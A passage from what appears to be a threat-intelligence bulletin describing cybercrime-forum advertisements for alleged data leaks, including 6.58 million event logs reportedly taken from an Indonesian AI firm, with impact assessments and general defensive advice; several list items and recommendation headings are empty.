According to the advertisement, the dataset is reportedly being offered as a complete leak, with a total volume of approximately 15 GB. The forum post also references a sample download, which may indicate that portions of the alleged dataset have been made available to demonstrate possession.
If verified, the exposure of this information could significantly impact the affected organization and its customers. Cybercriminals may exploit the leaked data to conduct targeted phishing campaigns, business email compromise (BEC), identity-based attacks, credential harvesting, unauthorized access attempts, financial fraud, and follow-on cyberattacks. Exposure of SQL database dumps and private files may also reveal sensitive business information, internal application structures, customer-related records, and operational details, potentially increasing the risk of intellectual property theft, data misuse, and further compromise of enterprise systems.
This incident highlights the continued risks associated with unauthorized exposure of enterprise databases and confidential business files. Organizations should strengthen database access controls, enforce multi-factor authentication (MFA), encrypt sensitive information at rest and in transit, continuously monitor privileged accounts, secure backup infrastructure, implement network segmentation, conduct regular security assessments, and maintain proactive threat intelligence capabilities to reduce the likelihood and impact of similar incidents.
The authenticity of the alleged dataset remains unverified at the time of reporting. This assessment is based solely on information published in the cybercrime forum advertisement and has not been independently confirmed.
Source: Underground Forums
Relevancy & Insights:
Financially motivated cybercriminals are continuously scouring for exposed and vulnerable systems and applications to exploit. A significant number of these malicious actors congregate within underground forums, where they discuss cybercrime and trade stolen digital assets. Operating discreetly, these opportunistic attackers target unpatched systems or vulnerabilities in applications to illicitly gain access and steal valuable data. Subsequently, the pilfered data is advertised for sale within underground markets, where it can be acquired, repurposed, and utilized by other malicious actors in further illicit activities.
ETLM Assessment:
The threat actor is assessed as an active and capable cybercriminal entity primarily involved in data-leak and information-extortion activities, with multiple indications of unauthorized access to systems and the subsequent dissemination or sale of compromised data through underground forums. Their activities demonstrate the evolving sophistication of organized cybercriminal networks and highlight the increasing risk of sensitive information being exploited for financial gain, fraud, and follow-on attacks. Organizations should strengthen their cybersecurity posture through continuous monitoring, proactive threat intelligence, robust access controls, enhanced data protection, and timely defensive measures to safeguard sensitive information and critical infrastructure
Recommendations: Enhance the cybersecurity posture by
The CYFIRMA research team identified a post on a cybercrime forum advertising the unauthorised disclosure of a large volume of internal event logs allegedly originating from an enterprise computer vision and AI technology provider based in Indonesia. According to the forum advertisement, the seller claims to possess approximately 6.58 million internal event records, reportedly containing sensitive information such as access keys, secret keys, email addresses, account identifiers, and user-related data. The advertisement, published on October 22, 2026, claims that the data was obtained on October 21, 2026, and is being distributed as a compressed archive containing JSON Lines (JSONL) data. The post reportedly provides a 1.7 GB uncompressed dataset and a 136 MB compressed archive as part of the advertised leak.
Allegedly Compromised Data
Based on the information displayed in the forum advertisement, the exposed dataset may contain the following information:
– Access Credentials and Secrets:
– User and Account Information:
– Internal Event and System Logs:
– Business and Financial Information:
– Additional Internal Information:
Potential Impact
If the alleged exposure is verified, the incident could pose significant risks to the affected organization and its users. The exposure of access keys and secret keys may enable unauthorized access to internal applications, APIs, cloud resources, or other connected systems, depending on the permissions and validity of the compromised credentials. Email addresses, account identifiers, and user profile information could be exploited for targeted phishing, identity-based attacks, credential harvesting, and social engineering. The disclosure of internal event logs, system metadata, and operational information may also provide attackers with insights into application architecture, authentication mechanisms, user activity, and internal workflows. Furthermore, the exposure of invoice and payment-related information could facilitate financial fraud, business email compromise (BEC), and other financially motivated attacks. The incident may also increase the risk of intellectual property theft, unauthorized access to customer environments, and follow-on cyberattacks.
The information presented in this assessment is based solely on the cybercrime forum advertisement visible in the provided screenshot. The authenticity of the alleged dataset, the actual number of exposed records, and the extent of any compromise have not been independently verified. The reported data exposure should therefore be treated as an allegation rather than a confirmed security incident.
Source: Underground forums
STRATEGIC RECOMMENDATION
MANAGEMENT RECOMMENDATION
TACTICAL RECOMMENDATION
Please find the Geography-Wise and Industry-Wise breakup of cyber news for the last 5 days as part of the situational awareness pillar.
